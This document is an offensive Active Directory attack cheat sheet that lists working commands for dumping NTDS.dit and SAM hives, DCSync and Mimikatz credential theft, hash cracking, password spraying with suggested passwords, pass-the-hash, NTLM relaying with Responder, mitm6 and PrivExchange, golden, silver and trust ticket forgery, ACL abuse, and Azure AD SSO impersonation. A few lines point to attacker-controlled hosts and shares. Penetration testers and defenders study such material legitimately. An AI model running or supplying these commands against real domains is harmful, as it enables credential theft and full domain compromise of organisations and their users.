Mitigations
- Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
- Delete existing GPP xml files in SYSVOL containing passwords.
- Don’t put passwords in files that are accessible by all authenticated users.
Exploit Group Policy Objects GPO
Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
⚠️ Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.

Dumping AD Domain Credentials
You will need the following files to extract the ntds :
- NTDS.dit file
- SYSTEM hive (C:\Windows\System32\SYSTEM)
Usually you can find the ntds in two locations : systemroot\NTDS\ntds.dit and systemroot\System32\ntds.dit.
systemroot\NTDS\ntds.ditstores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).systemroot\System32\ntds.ditis the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
However you can change the location to a custom one, you will need to query the registry to get the current location.
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
Using ndtsutil
C:\>ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
or
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
Using Vshadow
vssadmin create shadow /for=C :
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
You can also use the Nishang script, available at : https://github.com/samratashok/nishang
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
Using vssadmin
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
Using DiskShadow (a Windows signed binary)
diskshadow.txt contains :
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset
then:
NOTE - must be executed from C:\Windows\System32
diskshadow.exe /s c:\diskshadow.txt
dir c:\exfil
reg.exe save hklm\system c:\exfil\system.bak
Using esentutl.exe
Copy/extract a locked file such as the AD Database
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
Extract hashes from ntds.dit
then you need to use secretsdump to extract the hashes, use the LOCAL options to use it on a retrieved ntds.dit
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
secretsdump also works remotely
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

Using Mimikatz DCSync
Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
# DCSync only one user
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
# DCSync all users of the domain
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
⚠️ Read-Only Domain Controllers are not allowed to pull password data for users by default.
Using Mimikatz sekurlsa
Dumps credential data in an Active Directory domain when run on a Domain Controller. ⚠️ Requires administrator access with debug or Local SYSTEM rights
sekurlsa::krbtgt
lsadump::lsa /inject /name:krbtgt
Crack NTLM hashes with hashcat
Useful when you want to have the clear text password or when you need to make stats about weak passwords.
Recommended wordlists:
- rockyou (available in Kali Linux)
- Have I Been Powned (https://hashes.org/download.php?hashlistId=7290&type=hfound)
- Collection #1 (passwords from Data Breaches, might be illegal to possess)
# Basic wordlist
# (-O) will Optimize for 32 characters or less passwords
# (-w 4) will set the workload to "Insane"
$ hashcat64.exe -m 1000 -w 4 -O -a 0 -o pathtopotfile pathtohashes pathtodico -r ./rules/best64.rule --opencl-device-types 1,2
# Generate a custom mask based on a wordlist
$ git clone https://github.com/iphelix/pack/blob/master/README
$ python2 statsgen.py ../hashcat.potfile -o hashcat.mask
$ python2 maskgen.py hashcat.mask --targettime 3600 --optindex -q -o hashcat_1H.hcmask
⚠️ If the password is not a confidential data (challenges/ctf), you can use online "cracker" like :
Password spraying
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.
The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.
Most of the time the best passwords to spray are :
- P@ssw0rd01, Password123, mimikatz
- Welcome1/Welcome01
- $Companyname1 : $Microsoft1
- SeasonYear : Winter2019*,Spring2020!,Summer2018?
- Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
Kerberos pre-auth bruteforcing
Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.
Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
root@kali:~$ python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
Spray a pre-generated passwords list
Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.
crackmapexec smb 10.0.0.1/24 -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
Spray passwords against the RDP service
Using RDPassSpray to target RDP services.
git clone https://github.com/xFreed0m/RDPassSpray
python3 RDPassSpray.py -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
Using hydra and ncrack to target RDP services.
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://10.10.10.10
ncrack –connection-limit 1 -vv --user administrator -P password-file.txt rdp://10.10.10.10
Password in AD User comment
enum4linux | grep -i desc
There are 3-4 fields that seem to be common in most AD schemas:
UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.
Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
or dump the Active Directory and grep the content.
ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
Reading LAPS Password
Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.
Determine if LAPS is installed
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
Extract LAPS password
The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users

Pass-the-Ticket Golden Tickets
Forging a TGT require the krbtgt NTLM hash
The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt ntlm hash must be used.
Using Mimikatz
# Get info - Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::lsa /inject /name:krbtgt
# Forge a Golden ticket - Mimikatz
kerberos::purge

Mitigations:
- Hard to detect because they are legit TGT tickets
- Mimikatz generate a golden ticket with a life-span of 10 years
Pass-the-Ticket Silver Tickets
Forging a TGS require machine account password (key) or NTLM hash of the service account.
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi

Kerberoasting
"A service principal name (SPN) is a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account. " - MSDN
Any valid domain user can request a kerberos ticket (TGS) for any domain service with GetUserSPNs. Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as.

Pass-the-Hash
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. Since Windows Vista, attackers have been unable to pass-the-hash to local admin accounts that weren’t the built-in RID 500.
use exploit/windows/smb/psexec
set RHOST 10.2.0.3
set SMBUser jarrieta
set SMBPass nastyCutt3r
# NOTE1: The password can be replaced by a hash to execute a `pass the hash` attack.
# NOTE2: Require the full NTLM hash, you may need to add the "blank" LM (aad3b435b51404eeaad3b435b51404ee)
set PAYLOAD windows/meterpreter/bind_tcp

also works with net range : cme smb 10.2.0.2/24 ...
or with psexec
proxychains python ./psexec.py jarrieta@10.2.0.2 -hashes :489a04c09a5debbc9b975356693e179d
or with the builtin Windows RDP and mimikatz
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
You can extract the local SAM database to find the local administrator hash :
C:\> reg.exe save hklm\sam c:\temp\sam.save
C:\> reg.exe save hklm\security c:\temp\security.save
C:\> reg.exe save hklm\system c:\temp\system.save
$ secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
OverPass-the-Hash (pass the key)
Request a TGT with only the NT hash then you can connect to the machine using the TGT.

Capturing and cracking NTLMv2 hashes
If any user in the network tries to access a machine and mistype the IP or the name, Responder will answer for it and ask for the NTLMv2 hash to access the resource. Responder will poison LLMNR, MDNS and NETBIOS requests on the network.
python Responder.py -I eth0
Then crack the hash with hashcat
hashcat -m 5600 -a 0 hash.txt crackstation.txt
NTLMv2 hashes relaying
NTLMv1 and NTLMv2 can be relayed to connect to another machine.
| Hash | Hashcat | Attack method |
|---|---|---|
| LM | 3000 | crack/pass the hash |
| NTLM/NTHash | 1000 | crack/pass the hash |
| NTLMv1/Net-NTLMv1 | 5500 | crack/relay attack |
| NTLMv2/Net-NTLMv2 | 5600 | crack/relay attack |
MS08-068 NTLM reflection
NTLM reflection vulnerability in the SMB protocolOnly targeting Windows 2000 to Windows Server 2008.
This vulnerability allows an attacker to redirect an incoming SMB connection back to the machine it came from and then access the victim machine using the victim’s own credentials.
msf > use exploit/windows/smb/smb_relay
msf exploit(smb_relay) > show targets
SMB Signing Disabled and IPv4
If a machine has SMB signing:disabled, it is possible to use Responder with Multirelay.py script to perform an NTLMv2 hashes relay and get a shell access on the machine.
- Open the Responder.conf file and set the value of
SMBandHTTPtoOff.[Responder Core] ; Servers to start ... SMB = Off # Turn this off HTTP = Off # Turn this off - Run
python RunFinger.py -i IP_Rangeto detect machine withSMB signing:disabled. - Run
python Responder.py -I <interface_card>andpython MultiRelay.py -t <target_machine_IP> -u ALL - Also you can use
ntlmrelayxto dump the SAM database of the targets in the list.ntlmrelayx.py -tf targets.txt - ntlmrelayx can also act as a SOCK proxy with every compromised sessions.

Dangerous Built-in Groups Usage
If you do not want modified ACLs to be overwrite every hour, you should change ACL template on the object "CN=AdminSDHolder,CN=System," or set "adminCount" attribute to 0 for the required object.
The AdminCount attribute is set to 1 automatically when a user is assigned to any privileged group, but it is never automatically unset when the user is removed from these group(s).
Find users with AdminCount=1.
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
AdminSDHolder
Get-ADUser -LDAPFilter "(objectcategory=person)(samaccountname=*)(admincount=1)"
Get-ADGroup -LDAPFilter "(objectcategory=group) (admincount=1)"
or
([adsisearcher]"(AdminCount=1)").findall()
AdminSDHolder Abuse
If you modify the permissions of AdminSDHolder, that permission template will be pushed out to all protected accounts automatically by SDProp.
# right to reset password for toto using the account titi
Add-ObjectACL -TargetSamAccountName toto -PrincipalSamAccountName titi -Rights ResetPassword
# give all rights

Abusing Active Directory ACLs/ACEs
Check ACL for an User with ADACLScanner.
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
GenericAll
- GenericAll on User : We can reset user's password without knowing the current password
- GenericAll on Group : Effectively, this allows us to add ourselves (the user spotless) to the Domain Admin group :
net group "domain admins" spotless /add /domain
GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its hash and kerberoast it.
# using PowerView
# Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
# Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
# Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
GenericWrite
-
Reset another user's password
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 $user = 'DOMAIN\user1'; $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; $creds = New-Object System.Management.Automation.PSCredential $user, $pass; $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds; -
WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1
GenericWrite and Remote Connection Manager
Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.
This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
⚠️ The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()
NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.
WriteDACL
To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
-
WriteDACL on Domain
# Give DCSync right to the principal identity Import-Module .\PowerView.ps1 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local -
WriteDACL on Group
Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 net group "INTERESTING_GROUP" User1 /add /domain
WriteOwner
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module.
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
ForceChangePassword
An attacker can change the password of the user this ACE applies to. This can be achieved with Set-DomainUserPassword (PowerView module).
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
Trust relationship between domains
- One-way
- Domain B trusts A
- Users in Domain A can access resources in Domain B
- Users in Domain B cannot access resources in Domain A
- Two-way
- Domain A trusts Domain B

Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources. By default the first domain created if the Forest Root.
Prerequisite:
-
KRBTGT Hash
-
Find the SID of the domain
$ Convert-NameToSid target.domain.com\krbtgt S-1-5-21-2941561648-383941485-1389968811-502 # with Impacket lookupsid.py domain/user:password@10.10.10.10 -
Replace 502 with 519 to represent Enterprise Admins
-
Create golden ticket and attack parent domain.
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
Forest to Forest Compromise - Trust Ticket
From the DC, dump the hash of the currentdomain\targetdomain$ trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
Mimikatz, adding the SID for the target domain's enterprise admins group to our SID history.
Dumping trust passwords (trust keys)
Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing “$” are computer accounts, but some are trust accounts.
lsadump::trust /patch
or find the TRUST_NAME$ machine account hash
Create a forged trust ticket (inter-realm TGT) using Mimikatz
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
Use the Trust Ticket file to get a TGS for the targeted service
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
Inject the TGS file and access the targeted service with the spoofed rights.
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
Kerberos Unconstrained Delegation
The user sends a TGS to access the service, along with their TGT, and then the service can use the user's TGT to request a TGS for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
⚠️ Unconstrained delegation used to be the only option available in Windows 2000
Domain Compromise via DC Print Server and Unconstrained Delegation
Prerequisites:
- Object with Property "Trust this computer for delegation to any service (Kerberos only)"
- Must have ADS_UF_TRUSTED_FOR_DELEGATION
- Must not have ADS_UF_NOT_DELEGATED flag
Find delegation
Check the TrustedForDelegation property.
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
or
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
NOTE: Domain controllers usually have unconstrained delegation enabled
Monitor with Rubeus
Monitor incoming connections from Rubeus.
Rubeus.exe monitor /interval:1
Force a connect back from the DC
SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
If the attack worked you should get a TGT of the domain controller.
Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets
Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt
Mitigation
- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service
Kerberos Constrained Delegation
Request a Kerberos ticket which allows us to exploit delegation configurations, we can once again use Impackets getST.py script, however,
Passing the -impersonate flag and specifying the user we wish to impersonate (any valid username).

Kerberos Resource Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
The user sends a TGS to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a TGS for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

Kerberos Bronze Bit Attack - CVE-2020-17049
An attacker can impersonate users which are not allowed to be delegated. This includes members of the Protected Users group and any other users explicitly configured as sensitive and cannot be delegated.
Patch is out on November 10, 2020, DC are most likely vulnerable until February 2021.
⚠️ Patched Error Message : [-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)
Requirements:
- Service account's password hash
- Service account's with
Constrained DelegationorResource Based Constrained Delegation - Impacket PR #1013
Attack #1 - Bypass the Trust this user for delegation to specified services only – Use Kerberos only protection and impersonate a user who is protected from delegation.

Relay delegation with mitm6
Prerequisites:
- IPv6 enabled (Windows prefers IPV6 over IPv4)
- LDAP over TLS (LDAPS)
ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
git clone https://github.com/fox-it/mitm6.git
cd /opt/tools/mitm6
pip install .
mitm6 -hw ws02 -d lab.local --ignore-nofqnd
ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
then use rubeus with s4u to relay the delegation
PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
⚠️ You need a shell on a user account with a mailbox.
-
Exchange server hostname or IP address
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username -
Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username -
Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange # https://github.com/G0ldenGunSec/PowerPriv powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016 -
Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
python secretsdump.py xxxxxxxxxx -just-dc python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm -
Clean your mess and restore a previous state of the user's ACL
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
Alternatively you can use the Metasploit module
use auxiliary/scanner/http/exchange_web_server_pushsubscription
Alternatively you can use an all-in-one tool : Exchange2domain.
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
PXE Boot image attack
PXE allows a workstation to boot from the network by retrieving an operating system image from a server using TFTP (Trivial FTP) protocol. This boot over the network allows an attacker to fetch the image and interact with it.
-
Press [F8] during the PXE boot to spawn an administrator console on the deployed machine.
-
Press [SHIFT+F10] during the initial Windows setup process to bring up a system console, then add a local administrator or dump SAM/SYSTEM registry.
net user hacker Password123! /add net localgroup administrators /add hacker -
Extract the pre-boot image (wim files) using PowerPXE.ps1 (https://github.com/wavestone-cdt/powerpxe) and dig through it to find default passwords and domain accounts.

Impersonating Office 365 Users on Azure AD Connect
Prerequisites:
-
Obtain NTLM password hash of the AZUREADSSOACC account
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit -
AAD logon name of the user we want to impersonate (userPrincipalName or mail)
elrond@contoso.com -
SID of the user we want to impersonate
S-1-5-21-2121516926-2695913149-3163778339-1234
Create the Silver Ticket and inject it into Kerberos cache:
mimikatz.exe "kerberos::golden /user:elrond
/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234
/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd
/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
Launch Mozilla Firefox, go to about:config
network.negotiate-auth.trusted-uris="https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com".
Navigate to any web application that is integrated with our AAD domain. Once at the Office365 logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
Linux Active Directory
CCACHE ticket reuse from /tmp
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache
When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
CCACHE ticket reuse from keyring

CCACHE ticket reuse from keytab
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
Extract accounts from /etc/krb5.keytab
The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
$ klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[...]
[26] Service principal: host/COMPUTER@DOMAIN
KVNO: 25

Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
[...]
On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
$ python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck

On macOS you can use bifrost.
./bifrost -action dump -source keytab -path test
Connect to the machine using the account and the hash with CME.
